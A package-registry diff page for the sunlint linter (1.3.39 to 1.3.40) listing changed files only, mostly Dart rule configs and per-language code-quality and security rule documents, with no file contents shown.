@sun-asterisk/sunlint 1.3.39 → 1.3.40

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (422) hide show
  1. package/config/rules/rules-registry-generated.json +134 -108
  2. package/docs/GENERATED_FILES_QUICK_REFERENCE.md +96 -0
  3. package/docs/GENERATED_FILE_HANDLING_SUMMARY.md +152 -0
  4. package/docs/skills/CREATE_NEW_DART_RULE.md +161 -14
  5. package/origin-rules/dart-en.md +151 -163
  6. package/package.json +2 -1
  7. package/rules/dart/D002_dispose_resources/config.json +25 -0
  8. package/rules/dart/D003_prefer_widgets_over_methods/config.json +14 -0
  9. package/rules/dart/D004_avoid_shrinkwrap_listview/config.json +13 -0
  10. package/rules/dart/D005_limit_widget_nesting/config.json +13 -0
  11. package/rules/dart/D006_prefer_extracting_large_callbacks/config.json +25 -0
  12. package/rules/dart/D007_prefer_init_first_dispose_last/config.json +10 -0
  13. package/rules/dart/D008_avoid_long_functions/config.json +12 -0
  14. package/rules/dart/D009_limit_function_parameters/config.json +13 -0
  15. package/rules/dart/D010_limit_cyclomatic_complexity/config.json +12 -0
  16. package/rules/dart/D011_prefer_named_parameters/config.json +12 -0
  17. package/rules/dart/D012_prefer_named_boolean_parameters/config.json +9 -0
  18. package/rules/dart/D013_single_public_class/config.json +10 -0
  19. package/rules/dart/D014_unsafe_collection_access/config.json +10 -0
  20. package/rules/dart/D015_copywith_all_parameters/config.json +9 -0
  21. package/rules/dart/D016_project_should_have_tests/config.json +24 -0
  22. package/rules/dart/D017_pubspec_dependencies_review/config.json +23 -0
  23. package/rules/dart/D018_remove_commented_code/config.json +13 -0
  24. package/rules/dart/D019_avoid_single_child_multi_child_widget/config.json +21 -0
  25. package/rules/dart/D020_limit_if_else_branches/config.json +12 -0
  26. package/rules/dart/D021_avoid_negated_boolean_checks/config.json +14 -0
  27. package/rules/dart/D022_use_setstate_correctly/config.json +14 -0
  28. package/rules/dart/D023_avoid_unnecessary_method_overrides/config.json +13 -0
  29. package/rules/dart/D024_avoid_unnecessary_stateful_widget/config.json +9 -0
  30. package/rules/dart/D025_avoid_nested_conditional_expressions/config.json +9 -0
  31. package/skill-assets/sunlint-code-quality/AGENTS.md +80 -0
  32. package/skill-assets/sunlint-code-quality/SKILL.md +176 -0
  33. package/skill-assets/sunlint-code-quality/rules/csharp/C006-verb-noun-functions.md +36 -0
  34. package/skill-assets/sunlint-code-quality/rules/csharp/C013-no-dead-code.md +38 -0
  35. package/skill-assets/sunlint-code-quality/rules/csharp/C014-dependency-injection.md +45 -0
  36. package/skill-assets/sunlint-code-quality/rules/csharp/C017-no-constructor-logic.md +46 -0
  37. package/skill-assets/sunlint-code-quality/rules/csharp/C018-generic-errors.md +38 -0
  38. package/skill-assets/sunlint-code-quality/rules/csharp/C019-error-log-level.md +29 -0
  39. package/skill-assets/sunlint-code-quality/rules/csharp/C020-no-unused-imports.md +30 -0
  40. package/skill-assets/sunlint-code-quality/rules/csharp/C022-no-unused-variables.md +33 -0
  41. package/skill-assets/sunlint-code-quality/rules/csharp/C023-no-duplicate-names.md +36 -0
  42. package/skill-assets/sunlint-code-quality/rules/csharp/C024-centralize-constants.md +33 -0
  43. package/skill-assets/sunlint-code-quality/rules/csharp/C029-catch-log-root-cause.md +40 -0
  44. package/skill-assets/sunlint-code-quality/rules/csharp/C030-custom-error-classes.md +38 -0
  45. package/skill-assets/sunlint-code-quality/rules/csharp/C033-separate-data-access.md +53 -0
  46. package/skill-assets/sunlint-code-quality/rules/csharp/C035-error-context-logging.md +31 -0
  47. package/skill-assets/sunlint-code-quality/rules/csharp/C041-no-hardcoded-secrets.md +25 -0
  48. package/skill-assets/sunlint-code-quality/rules/csharp/C042-boolean-naming.md +27 -0
  49. package/skill-assets/sunlint-code-quality/rules/csharp/C052-controller-parsing.md +41 -0
  50. package/skill-assets/sunlint-code-quality/rules/csharp/C060-superclass-logic.md +33 -0
  51. package/skill-assets/sunlint-code-quality/rules/csharp/C067-no-hardcoded-config.md +24 -0
  52. package/skill-assets/sunlint-code-quality/rules/csharp/S003-open-redirect.md +47 -0
  53. package/skill-assets/sunlint-code-quality/rules/csharp/S004-no-log-credentials.md +28 -0
  54. package/skill-assets/sunlint-code-quality/rules/csharp/S005-server-authorization.md +51 -0
  55. package/skill-assets/sunlint-code-quality/rules/csharp/S006-default-credentials.md +42 -0
  56. package/skill-assets/sunlint-code-quality/rules/csharp/S007-output-encoding.md +36 -0
  57. package/skill-assets/sunlint-code-quality/rules/csharp/S009-approved-crypto.md +37 -0
  58. package/skill-assets/sunlint-code-quality/rules/csharp/S010-csprng.md +32 -0
  59. package/skill-assets/sunlint-code-quality/rules/csharp/S011-encrypted-client-hello.md +36 -0
  60. package/skill-assets/sunlint-code-quality/rules/csharp/S012-secrets-management.md +35 -0
  61. package/skill-assets/sunlint-code-quality/rules/csharp/S013-tls-connections.md +36 -0
  62. package/skill-assets/sunlint-code-quality/rules/csharp/S016-no-sensitive-query-string.md +39 -0
  63. package/skill-assets/sunlint-code-quality/rules/csharp/S017-parameterized-queries.md +47 -0
  64. package/skill-assets/sunlint-code-quality/rules/csharp/S019-email-input-sanitization.md +35 -0
  65. package/skill-assets/sunlint-code-quality/rules/csharp/S020-eval-code-execution.md +56 -0
  66. package/skill-assets/sunlint-code-quality/rules/csharp/S022-context-escaping.md +50 -0
  67. package/skill-assets/sunlint-code-quality/rules/csharp/S023-dynamic-js-encoding.md +34 -0
  68. package/skill-assets/sunlint-code-quality/rules/csharp/S025-server-validation.md +56 -0
  69. package/skill-assets/sunlint-code-quality/rules/csharp/S026-tls-encryption.md +28 -0
  70. package/skill-assets/sunlint-code-quality/rules/csharp/S027-mtls-validation.md +40 -0
  71. package/skill-assets/sunlint-code-quality/rules/csharp/S028-upload-limits.md +50 -0
  72. package/skill-assets/sunlint-code-quality/rules/csharp/S029-csrf-protection.md +42 -0
  73. package/skill-assets/sunlint-code-quality/rules/csharp/S030-directory-browsing.md +26 -0
  74. package/skill-assets/sunlint-code-quality/rules/csharp/S031-secure-cookie-flag.md +35 -0
  75. package/skill-assets/sunlint-code-quality/rules/csharp/S032-httponly-cookie.md +31 -0
  76. package/skill-assets/sunlint-code-quality/rules/csharp/S033-samesite-cookie.md +36 -0
  77. package/skill-assets/sunlint-code-quality/rules/csharp/S034-host-prefix-cookie.md +31 -0
  78. package/skill-assets/sunlint-code-quality/rules/csharp/S035-app-hostnames.md +26 -0
  79. package/skill-assets/sunlint-code-quality/rules/csharp/S036-internal-file-paths.md +36 -0
  80. package/skill-assets/sunlint-code-quality/rules/csharp/S037-anti-cache-headers.md +33 -0
  81. package/skill-assets/sunlint-code-quality/rules/csharp/S039-tls-certificate-validation.md +41 -0
  82. package/skill-assets/sunlint-code-quality/rules/csharp/S041-logout-invalidation.md +36 -0
  83. package/skill-assets/sunlint-code-quality/rules/csharp/S042-long-lived-sessions.md +47 -0
  84. package/skill-assets/sunlint-code-quality/rules/csharp/S044-critical-changes-reauth.md +45 -0
  85. package/skill-assets/sunlint-code-quality/rules/csharp/S045-brute-force-protection.md +48 -0
  86. package/skill-assets/sunlint-code-quality/rules/csharp/S047-oauth-csrf-protection.md +53 -0
  87. package/skill-assets/sunlint-code-quality/rules/csharp/S048-oauth-redirect-validation.md +37 -0
  88. package/skill-assets/sunlint-code-quality/rules/csharp/S049-auth-code-expiry.md +33 -0
  89. package/skill-assets/sunlint-code-quality/rules/csharp/S050-token-entropy.md +33 -0
  90. package/skill-assets/sunlint-code-quality/rules/csharp/S051-password-length.md +35 -0
  91. package/skill-assets/sunlint-code-quality/rules/csharp/S052-otp-entropy.md +26 -0
  92. package/skill-assets/sunlint-code-quality/rules/csharp/S053-generic-error-messages.md +32 -0
  93. package/skill-assets/sunlint-code-quality/rules/csharp/S054-no-default-admin.md +31 -0
  94. package/skill-assets/sunlint-code-quality/rules/csharp/S055-content-type-validation.md +44 -0
  95. package/skill-assets/sunlint-code-quality/rules/csharp/S056-log-injection.md +33 -0
  96. package/skill-assets/sunlint-code-quality/rules/csharp/S057-synchronized-time.md +27 -0
  97. package/skill-assets/sunlint-code-quality/rules/csharp/S058-ssrf-protection.md +54 -0
  98. package/skill-assets/sunlint-code-quality/rules/java/C006-verb-noun-functions.md +36 -0
  99. package/skill-assets/sunlint-code-quality/rules/java/C013-no-dead-code.md +175 -0
  100. package/skill-assets/sunlint-code-quality/rules/java/C014-dependency-injection.md +42 -0
  101. package/skill-assets/sunlint-code-quality/rules/java/C017-no-constructor-logic.md +39 -0
  102. package/skill-assets/sunlint-code-quality/rules/java/C018-generic-errors.md +28 -0
  103. package/skill-assets/sunlint-code-quality/rules/java/C019-error-log-level.md +34 -0
  104. package/skill-assets/sunlint-code-quality/rules/java/C020-no-unused-imports.md +34 -0
  105. package/skill-assets/sunlint-code-quality/rules/java/C022-no-unused-variables.md +31 -0
  106. package/skill-assets/sunlint-code-quality/rules/java/C023-no-duplicate-names.md +37 -0
  107. package/skill-assets/sunlint-code-quality/rules/java/C024-centralize-constants.md +36 -0
  108. package/skill-assets/sunlint-code-quality/rules/java/C029-catch-log-root-cause.md +42 -0
  109. package/skill-assets/sunlint-code-quality/rules/java/C030-custom-error-classes.md +50 -0
  110. package/skill-assets/sunlint-code-quality/rules/java/C033-separate-data-access.md +46 -0
  111. package/skill-assets/sunlint-code-quality/rules/java/C035-error-context-logging.md +38 -0
  112. package/skill-assets/sunlint-code-quality/rules/java/C041-no-hardcoded-secrets.md +34 -0
  113. package/skill-assets/sunlint-code-quality/rules/java/C042-boolean-naming.md +27 -0
  114. package/skill-assets/sunlint-code-quality/rules/java/C052-controller-parsing.md +39 -0
  115. package/skill-assets/sunlint-code-quality/rules/java/C060-superclass-logic.md +32 -0
  116. package/skill-assets/sunlint-code-quality/rules/java/C067-no-hardcoded-config.md +31 -0
  117. package/skill-assets/sunlint-code-quality/rules/java/S003-open-redirect.md +38 -0
  118. package/skill-assets/sunlint-code-quality/rules/java/S004-no-log-credentials.md +36 -0
  119. package/skill-assets/sunlint-code-quality/rules/java/S005-server-authorization.md +53 -0
  120. package/skill-assets/sunlint-code-quality/rules/java/S006-default-credentials.md +39 -0
  121. package/skill-assets/sunlint-code-quality/rules/java/S007-output-encoding.md +49 -0
  122. package/skill-assets/sunlint-code-quality/rules/java/S009-approved-crypto.md +40 -0
  123. package/skill-assets/sunlint-code-quality/rules/java/S010-csprng.md +36 -0
  124. package/skill-assets/sunlint-code-quality/rules/java/S011-encrypted-client-hello.md +27 -0
  125. package/skill-assets/sunlint-code-quality/rules/java/S012-secrets-management.md +34 -0
  126. package/skill-assets/sunlint-code-quality/rules/java/S013-tls-connections.md +40 -0
  127. package/skill-assets/sunlint-code-quality/rules/java/S016-no-sensitive-query-string.md +36 -0
  128. package/skill-assets/sunlint-code-quality/rules/java/S017-parameterized-queries.md +47 -0
  129. package/skill-assets/sunlint-code-quality/rules/java/S019-email-input-sanitization.md +32 -0
  130. package/skill-assets/sunlint-code-quality/rules/java/S020-eval-code-execution.md +45 -0
  131. package/skill-assets/sunlint-code-quality/rules/java/S022-context-escaping.md +28 -0
  132. package/skill-assets/sunlint-code-quality/rules/java/S023-dynamic-js-encoding.md +28 -0
  133. package/skill-assets/sunlint-code-quality/rules/java/S025-server-validation.md +58 -0
  134. package/skill-assets/sunlint-code-quality/rules/java/S026-tls-encryption.md +57 -0
  135. package/skill-assets/sunlint-code-quality/rules/java/S027-mtls-validation.md +26 -0
  136. package/skill-assets/sunlint-code-quality/rules/java/S028-upload-limits.md +35 -0
  137. package/skill-assets/sunlint-code-quality/rules/java/S029-csrf-protection.md +35 -0
  138. package/skill-assets/sunlint-code-quality/rules/java/S030-directory-browsing.md +38 -0
  139. package/skill-assets/sunlint-code-quality/rules/java/S031-secure-cookie-flag.md +38 -0
  140. package/skill-assets/sunlint-code-quality/rules/java/S032-httponly-cookie.md +31 -0
  141. package/skill-assets/sunlint-code-quality/rules/java/S033-samesite-cookie.md +42 -0
  142. package/skill-assets/sunlint-code-quality/rules/java/S034-host-prefix-cookie.md +35 -0
  143. package/skill-assets/sunlint-code-quality/rules/java/S035-app-hostnames.md +23 -0
  144. package/skill-assets/sunlint-code-quality/rules/java/S036-internal-file-paths.md +39 -0
  145. package/skill-assets/sunlint-code-quality/rules/java/S037-anti-cache-headers.md +37 -0
  146. package/skill-assets/sunlint-code-quality/rules/java/S039-tls-certificate-validation.md +43 -0
  147. package/skill-assets/sunlint-code-quality/rules/java/S041-logout-invalidation.md +53 -0
  148. package/skill-assets/sunlint-code-quality/rules/java/S042-long-lived-sessions.md +36 -0
  149. package/skill-assets/sunlint-code-quality/rules/java/S044-critical-changes-reauth.md +28 -0
  150. package/skill-assets/sunlint-code-quality/rules/java/S045-brute-force-protection.md +38 -0
  151. package/skill-assets/sunlint-code-quality/rules/java/S047-oauth-csrf-protection.md +33 -0
  152. package/skill-assets/sunlint-code-quality/rules/java/S048-oauth-redirect-validation.md +25 -0
  153. package/skill-assets/sunlint-code-quality/rules/java/S049-auth-code-expiry.md +23 -0
  154. package/skill-assets/sunlint-code-quality/rules/java/S050-token-entropy.md +20 -0
  155. package/skill-assets/sunlint-code-quality/rules/java/S051-password-length.md +20 -0
  156. package/skill-assets/sunlint-code-quality/rules/java/S052-otp-entropy.md +23 -0
  157. package/skill-assets/sunlint-code-quality/rules/java/S053-generic-error-messages.md +21 -0
  158. package/skill-assets/sunlint-code-quality/rules/java/S054-no-default-admin.md +16 -0
  159. package/skill-assets/sunlint-code-quality/rules/java/S055-content-type-validation.md +36 -0
  160. package/skill-assets/sunlint-code-quality/rules/java/S056-log-injection.md +38 -0
  161. package/skill-assets/sunlint-code-quality/rules/java/S057-synchronized-time.md +35 -0
  162. package/skill-assets/sunlint-code-quality/rules/java/S058-ssrf-protection.md +56 -0
  163. package/skill-assets/sunlint-code-quality/rules/kotlin/C006-verb-noun-functions.md +45 -0
  164. package/skill-assets/sunlint-code-quality/rules/kotlin/C013-no-dead-code.md +49 -0
  165. package/skill-assets/sunlint-code-quality/rules/kotlin/C014-dependency-injection.md +64 -0
  166. package/skill-assets/sunlint-code-quality/rules/kotlin/C017-no-constructor-logic.md +68 -0
  167. package/skill-assets/sunlint-code-quality/rules/kotlin/C018-generic-errors.md +46 -0
  168. package/skill-assets/sunlint-code-quality/rules/kotlin/C019-error-log-level.md +50 -0
  169. package/skill-assets/sunlint-code-quality/rules/kotlin/C020-no-unused-imports.md +44 -0
  170. package/skill-assets/sunlint-code-quality/rules/kotlin/C022-no-unused-variables.md +39 -0
  171. package/skill-assets/sunlint-code-quality/rules/kotlin/C023-no-duplicate-names.md +47 -0
  172. package/skill-assets/sunlint-code-quality/rules/kotlin/C024-centralize-constants.md +58 -0
  173. package/skill-assets/sunlint-code-quality/rules/kotlin/C029-catch-log-root-cause.md +50 -0
  174. package/skill-assets/sunlint-code-quality/rules/kotlin/C030-custom-error-classes.md +72 -0
  175. package/skill-assets/sunlint-code-quality/rules/kotlin/C033-separate-data-access.md +69 -0
  176. package/skill-assets/sunlint-code-quality/rules/kotlin/C035-error-context-logging.md +47 -0
  177. package/skill-assets/sunlint-code-quality/rules/kotlin/C041-no-hardcoded-secrets.md +47 -0
  178. package/skill-assets/sunlint-code-quality/rules/kotlin/C042-boolean-naming.md +42 -0
  179. package/skill-assets/sunlint-code-quality/rules/kotlin/C052-controller-parsing.md +71 -0
  180. package/skill-assets/sunlint-code-quality/rules/kotlin/C060-superclass-logic.md +60 -0
  181. package/skill-assets/sunlint-code-quality/rules/kotlin/C067-no-hardcoded-config.md +51 -0
  182. package/skill-assets/sunlint-code-quality/rules/kotlin/S003-open-redirect.md +66 -0
  183. package/skill-assets/sunlint-code-quality/rules/kotlin/S004-no-log-credentials.md +59 -0
  184. package/skill-assets/sunlint-code-quality/rules/kotlin/S005-server-authorization.md +75 -0
  185. package/skill-assets/sunlint-code-quality/rules/kotlin/S006-default-credentials.md +49 -0
  186. package/skill-assets/sunlint-code-quality/rules/kotlin/S007-output-encoding.md +62 -0
  187. package/skill-assets/sunlint-code-quality/rules/kotlin/S009-approved-crypto.md +51 -0
  188. package/skill-assets/sunlint-code-quality/rules/kotlin/S010-csprng.md +61 -0
  189. package/skill-assets/sunlint-code-quality/rules/kotlin/S011-encrypted-client-hello.md +48 -0
  190. package/skill-assets/sunlint-code-quality/rules/kotlin/S012-secrets-management.md +53 -0
  191. package/skill-assets/sunlint-code-quality/rules/kotlin/S013-tls-connections.md +61 -0
  192. package/skill-assets/sunlint-code-quality/rules/kotlin/S016-no-sensitive-query-string.md +51 -0
  193. package/skill-assets/sunlint-code-quality/rules/kotlin/S017-parameterized-queries.md +41 -0
  194. package/skill-assets/sunlint-code-quality/rules/kotlin/S019-email-input-sanitization.md +50 -0
  195. package/skill-assets/sunlint-code-quality/rules/kotlin/S020-eval-code-execution.md +57 -0
  196. package/skill-assets/sunlint-code-quality/rules/kotlin/S022-context-escaping.md +58 -0
  197. package/skill-assets/sunlint-code-quality/rules/kotlin/S023-dynamic-js-encoding.md +57 -0
  198. package/skill-assets/sunlint-code-quality/rules/kotlin/S025-server-validation.md +59 -0
  199. package/skill-assets/sunlint-code-quality/rules/kotlin/S026-tls-encryption.md +50 -0
  200. package/skill-assets/sunlint-code-quality/rules/kotlin/S027-mtls-validation.md +60 -0
  201. package/skill-assets/sunlint-code-quality/rules/kotlin/S028-upload-limits.md +67 -0
  202. package/skill-assets/sunlint-code-quality/rules/kotlin/S029-csrf-protection.md +57 -0
  203. package/skill-assets/sunlint-code-quality/rules/kotlin/S030-directory-browsing.md +50 -0
  204. package/skill-assets/sunlint-code-quality/rules/kotlin/S031-secure-cookie-flag.md +51 -0
  205. package/skill-assets/sunlint-code-quality/rules/kotlin/S032-httponly-cookie.md +49 -0
  206. package/skill-assets/sunlint-code-quality/rules/kotlin/S033-samesite-cookie.md +54 -0
  207. package/skill-assets/sunlint-code-quality/rules/kotlin/S034-host-prefix-cookie.md +50 -0
  208. package/skill-assets/sunlint-code-quality/rules/kotlin/S035-app-hostnames.md +59 -0
  209. package/skill-assets/sunlint-code-quality/rules/kotlin/S036-internal-file-paths.md +61 -0
  210. package/skill-assets/sunlint-code-quality/rules/kotlin/S037-anti-cache-headers.md +58 -0
  211. package/skill-assets/sunlint-code-quality/rules/kotlin/S039-tls-certificate-validation.md +62 -0
  212. package/skill-assets/sunlint-code-quality/rules/kotlin/S041-logout-invalidation.md +71 -0
  213. package/skill-assets/sunlint-code-quality/rules/kotlin/S042-long-lived-sessions.md +57 -0
  214. package/skill-assets/sunlint-code-quality/rules/kotlin/S044-critical-changes-reauth.md +64 -0
  215. package/skill-assets/sunlint-code-quality/rules/kotlin/S045-brute-force-protection.md +64 -0
  216. package/skill-assets/sunlint-code-quality/rules/kotlin/S047-oauth-csrf-protection.md +74 -0
  217. package/skill-assets/sunlint-code-quality/rules/kotlin/S048-oauth-redirect-validation.md +61 -0
  218. package/skill-assets/sunlint-code-quality/rules/kotlin/S049-auth-code-expiry.md +70 -0
  219. package/skill-assets/sunlint-code-quality/rules/kotlin/S050-token-entropy.md +65 -0
  220. package/skill-assets/sunlint-code-quality/rules/kotlin/S051-password-length.md +52 -0
  221. package/skill-assets/sunlint-code-quality/rules/kotlin/S052-otp-entropy.md +55 -0
  222. package/skill-assets/sunlint-code-quality/rules/kotlin/S053-generic-error-messages.md +66 -0
  223. package/skill-assets/sunlint-code-quality/rules/kotlin/S054-no-default-admin.md +57 -0
  224. package/skill-assets/sunlint-code-quality/rules/kotlin/S055-content-type-validation.md +58 -0
  225. package/skill-assets/sunlint-code-quality/rules/kotlin/S056-log-injection.md +47 -0
  226. package/skill-assets/sunlint-code-quality/rules/kotlin/S057-synchronized-time.md +49 -0
  227. package/skill-assets/sunlint-code-quality/rules/kotlin/S058-ssrf-protection.md +69 -0
  228. package/skill-assets/sunlint-code-quality/rules/php/C006-verb-noun-functions.md +46 -0
  229. package/skill-assets/sunlint-code-quality/rules/php/C013-no-dead-code.md +53 -0
  230. package/skill-assets/sunlint-code-quality/rules/php/C014-dependency-injection.md +71 -0
  231. package/skill-assets/sunlint-code-quality/rules/php/C017-no-constructor-logic.md +68 -0
  232. package/skill-assets/sunlint-code-quality/rules/php/C018-generic-errors.md +50 -0
  233. package/skill-assets/sunlint-code-quality/rules/php/C019-error-log-level.md +54 -0
  234. package/skill-assets/sunlint-code-quality/rules/php/C020-no-unused-imports.md +55 -0
  235. package/skill-assets/sunlint-code-quality/rules/php/C022-no-unused-variables.md +51 -0
  236. package/skill-assets/sunlint-code-quality/rules/php/C023-no-duplicate-names.md +61 -0
  237. package/skill-assets/sunlint-code-quality/rules/php/C024-centralize-constants.md +60 -0
  238. package/skill-assets/sunlint-code-quality/rules/php/C029-catch-log-root-cause.md +57 -0
  239. package/skill-assets/sunlint-code-quality/rules/php/C030-custom-error-classes.md +62 -0
  240. package/skill-assets/sunlint-code-quality/rules/php/C033-separate-data-access.md +79 -0
  241. package/skill-assets/sunlint-code-quality/rules/php/C035-error-context-logging.md +54 -0
  242. package/skill-assets/sunlint-code-quality/rules/php/C041-no-hardcoded-secrets.md +59 -0
  243. package/skill-assets/sunlint-code-quality/rules/php/C042-boolean-naming.md +52 -0
  244. package/skill-assets/sunlint-code-quality/rules/php/C052-controller-parsing.md +66 -0
  245. package/skill-assets/sunlint-code-quality/rules/php/C060-superclass-logic.md +54 -0
  246. package/skill-assets/sunlint-code-quality/rules/php/C067-no-hardcoded-config.md +55 -0
  247. package/skill-assets/sunlint-code-quality/rules/php/S003-open-redirect.md +60 -0
  248. package/skill-assets/sunlint-code-quality/rules/php/S004-no-log-credentials.md +67 -0
  249. package/skill-assets/sunlint-code-quality/rules/php/S005-server-authorization.md +57 -0
  250. package/skill-assets/sunlint-code-quality/rules/php/S006-default-credentials.md +61 -0
  251. package/skill-assets/sunlint-code-quality/rules/php/S007-output-encoding.md +61 -0
  252. package/skill-assets/sunlint-code-quality/rules/php/S009-approved-crypto.md +53 -0
  253. package/skill-assets/sunlint-code-quality/rules/php/S010-csprng.md +47 -0
  254. package/skill-assets/sunlint-code-quality/rules/php/S011-encrypted-client-hello.md +41 -0
  255. package/skill-assets/sunlint-code-quality/rules/php/S012-secrets-management.md +60 -0
  256. package/skill-assets/sunlint-code-quality/rules/php/S013-tls-connections.md +67 -0
  257. package/skill-assets/sunlint-code-quality/rules/php/S016-no-sensitive-query-string.md +61 -0
  258. package/skill-assets/sunlint-code-quality/rules/php/S017-parameterized-queries.md +44 -0
  259. package/skill-assets/sunlint-code-quality/rules/php/S019-email-input-sanitization.md +54 -0
  260. package/skill-assets/sunlint-code-quality/rules/php/S020-eval-code-execution.md +57 -0
  261. package/skill-assets/sunlint-code-quality/rules/php/S022-context-escaping.md +58 -0
  262. package/skill-assets/sunlint-code-quality/rules/php/S023-dynamic-js-encoding.md +62 -0
  263. package/skill-assets/sunlint-code-quality/rules/php/S025-server-validation.md +63 -0
  264. package/skill-assets/sunlint-code-quality/rules/php/S026-tls-encryption.md +48 -0
  265. package/skill-assets/sunlint-code-quality/rules/php/S027-mtls-validation.md +62 -0
  266. package/skill-assets/sunlint-code-quality/rules/php/S028-upload-limits.md +60 -0
  267. package/skill-assets/sunlint-code-quality/rules/php/S029-csrf-protection.md +65 -0
  268. package/skill-assets/sunlint-code-quality/rules/php/S030-directory-browsing.md +40 -0
  269. package/skill-assets/sunlint-code-quality/rules/php/S031-secure-cookie-flag.md +55 -0
  270. package/skill-assets/sunlint-code-quality/rules/php/S032-httponly-cookie.md +54 -0
  271. package/skill-assets/sunlint-code-quality/rules/php/S033-samesite-cookie.md +52 -0
  272. package/skill-assets/sunlint-code-quality/rules/php/S034-host-prefix-cookie.md +49 -0
  273. package/skill-assets/sunlint-code-quality/rules/php/S035-app-hostnames.md +49 -0
  274. package/skill-assets/sunlint-code-quality/rules/php/S036-internal-file-paths.md +56 -0
  275. package/skill-assets/sunlint-code-quality/rules/php/S037-anti-cache-headers.md +56 -0
  276. package/skill-assets/sunlint-code-quality/rules/php/S039-tls-certificate-validation.md +54 -0
  277. package/skill-assets/sunlint-code-quality/rules/php/S041-logout-invalidation.md +63 -0
  278. package/skill-assets/sunlint-code-quality/rules/php/S042-long-lived-sessions.md +57 -0
  279. package/skill-assets/sunlint-code-quality/rules/php/S044-critical-changes-reauth.md +71 -0
  280. package/skill-assets/sunlint-code-quality/rules/php/S045-brute-force-protection.md +67 -0
  281. package/skill-assets/sunlint-code-quality/rules/php/S047-oauth-csrf-protection.md +72 -0
  282. package/skill-assets/sunlint-code-quality/rules/php/S048-oauth-redirect-validation.md +54 -0
  283. package/skill-assets/sunlint-code-quality/rules/php/S049-auth-code-expiry.md +71 -0
  284. package/skill-assets/sunlint-code-quality/rules/php/S050-token-entropy.md +58 -0
  285. package/skill-assets/sunlint-code-quality/rules/php/S051-password-length.md +59 -0
  286. package/skill-assets/sunlint-code-quality/rules/php/S052-otp-entropy.md +45 -0
  287. package/skill-assets/sunlint-code-quality/rules/php/S053-generic-error-messages.md +59 -0
  288. package/skill-assets/sunlint-code-quality/rules/php/S054-no-default-admin.md +62 -0
  289. package/skill-assets/sunlint-code-quality/rules/php/S055-content-type-validation.md +58 -0
  290. package/skill-assets/sunlint-code-quality/rules/php/S056-log-injection.md +48 -0
  291. package/skill-assets/sunlint-code-quality/rules/php/S057-synchronized-time.md +52 -0
  292. package/skill-assets/sunlint-code-quality/rules/php/S058-ssrf-protection.md +65 -0
  293. package/skill-assets/sunlint-code-quality/rules/python/C006-verb-noun-functions.md +30 -0
  294. package/skill-assets/sunlint-code-quality/rules/python/C013-no-dead-code.md +24 -0
  295. package/skill-assets/sunlint-code-quality/rules/python/C014-dependency-injection.md +68 -0
  296. package/skill-assets/sunlint-code-quality/rules/python/C017-no-constructor-logic.md +30 -0
  297. package/skill-assets/sunlint-code-quality/rules/python/C018-generic-errors.md +25 -0
  298. package/skill-assets/sunlint-code-quality/rules/python/C019-error-log-level.md +26 -0
  299. package/skill-assets/sunlint-code-quality/rules/python/C020-no-unused-imports.md +28 -0
  300. package/skill-assets/sunlint-code-quality/rules/python/C022-no-unused-variables.md +24 -0
  301. package/skill-assets/sunlint-code-quality/rules/python/C023-no-duplicate-names.md +27 -0
  302. package/skill-assets/sunlint-code-quality/rules/python/C024-centralize-constants.md +27 -0
  303. package/skill-assets/sunlint-code-quality/rules/python/C029-catch-log-root-cause.md +61 -0
  304. package/skill-assets/sunlint-code-quality/rules/python/C030-custom-error-classes.md +28 -0
  305. package/skill-assets/sunlint-code-quality/rules/python/C033-separate-data-access.md +53 -0
  306. package/skill-assets/sunlint-code-quality/rules/python/C035-error-context-logging.md +26 -0
  307. package/skill-assets/sunlint-code-quality/rules/python/C041-no-hardcoded-secrets.md +23 -0
  308. package/skill-assets/sunlint-code-quality/rules/python/C042-boolean-naming.md +24 -0
  309. package/skill-assets/sunlint-code-quality/rules/python/C052-controller-parsing.md +34 -0
  310. package/skill-assets/sunlint-code-quality/rules/python/C060-superclass-logic.md +26 -0
  311. package/skill-assets/sunlint-code-quality/rules/python/C067-no-hardcoded-config.md +22 -0
  312. package/skill-assets/sunlint-code-quality/rules/python/S003-open-redirect.md +16 -0
  313. package/skill-assets/sunlint-code-quality/rules/python/S004-no-log-credentials.md +16 -0
  314. package/skill-assets/sunlint-code-quality/rules/python/S005-server-authorization.md +16 -0
  315. package/skill-assets/sunlint-code-quality/rules/python/S006-default-credentials.md +16 -0
  316. package/skill-assets/sunlint-code-quality/rules/python/S007-output-encoding.md +16 -0
  317. package/skill-assets/sunlint-code-quality/rules/python/S009-approved-crypto.md +16 -0
  318. package/skill-assets/sunlint-code-quality/rules/python/S010-csprng.md +16 -0
  319. package/skill-assets/sunlint-code-quality/rules/python/S011-encrypted-client-hello.md +16 -0
  320. package/skill-assets/sunlint-code-quality/rules/python/S012-secrets-management.md +16 -0
  321. package/skill-assets/sunlint-code-quality/rules/python/S013-tls-connections.md +16 -0
  322. package/skill-assets/sunlint-code-quality/rules/python/S016-no-sensitive-query-string.md +16 -0
  323. package/skill-assets/sunlint-code-quality/rules/python/S017-parameterized-queries.md +51 -0
  324. package/skill-assets/sunlint-code-quality/rules/python/S019-email-input-sanitization.md +16 -0
  325. package/skill-assets/sunlint-code-quality/rules/python/S020-eval-code-execution.md +51 -0
  326. package/skill-assets/sunlint-code-quality/rules/python/S022-context-escaping.md +16 -0
  327. package/skill-assets/sunlint-code-quality/rules/python/S023-dynamic-js-encoding.md +16 -0
  328. package/skill-assets/sunlint-code-quality/rules/python/S025-server-validation.md +16 -0
  329. package/skill-assets/sunlint-code-quality/rules/python/S026-tls-encryption.md +16 -0
  330. package/skill-assets/sunlint-code-quality/rules/python/S027-mtls-validation.md +16 -0
  331. package/skill-assets/sunlint-code-quality/rules/python/S028-upload-limits.md +16 -0
  332. package/skill-assets/sunlint-code-quality/rules/python/S029-csrf-protection.md +16 -0
  333. package/skill-assets/sunlint-code-quality/rules/python/S030-directory-browsing.md +16 -0
  334. package/skill-assets/sunlint-code-quality/rules/python/S031-secure-cookie-flag.md +16 -0
  335. package/skill-assets/sunlint-code-quality/rules/python/S032-httponly-cookie.md +16 -0
  336. package/skill-assets/sunlint-code-quality/rules/python/S033-samesite-cookie.md +16 -0
  337. package/skill-assets/sunlint-code-quality/rules/python/S034-host-prefix-cookie.md +16 -0
  338. package/skill-assets/sunlint-code-quality/rules/python/S035-app-hostnames.md +16 -0
  339. package/skill-assets/sunlint-code-quality/rules/python/S036-internal-file-paths.md +50 -0
  340. package/skill-assets/sunlint-code-quality/rules/python/S037-anti-cache-headers.md +16 -0
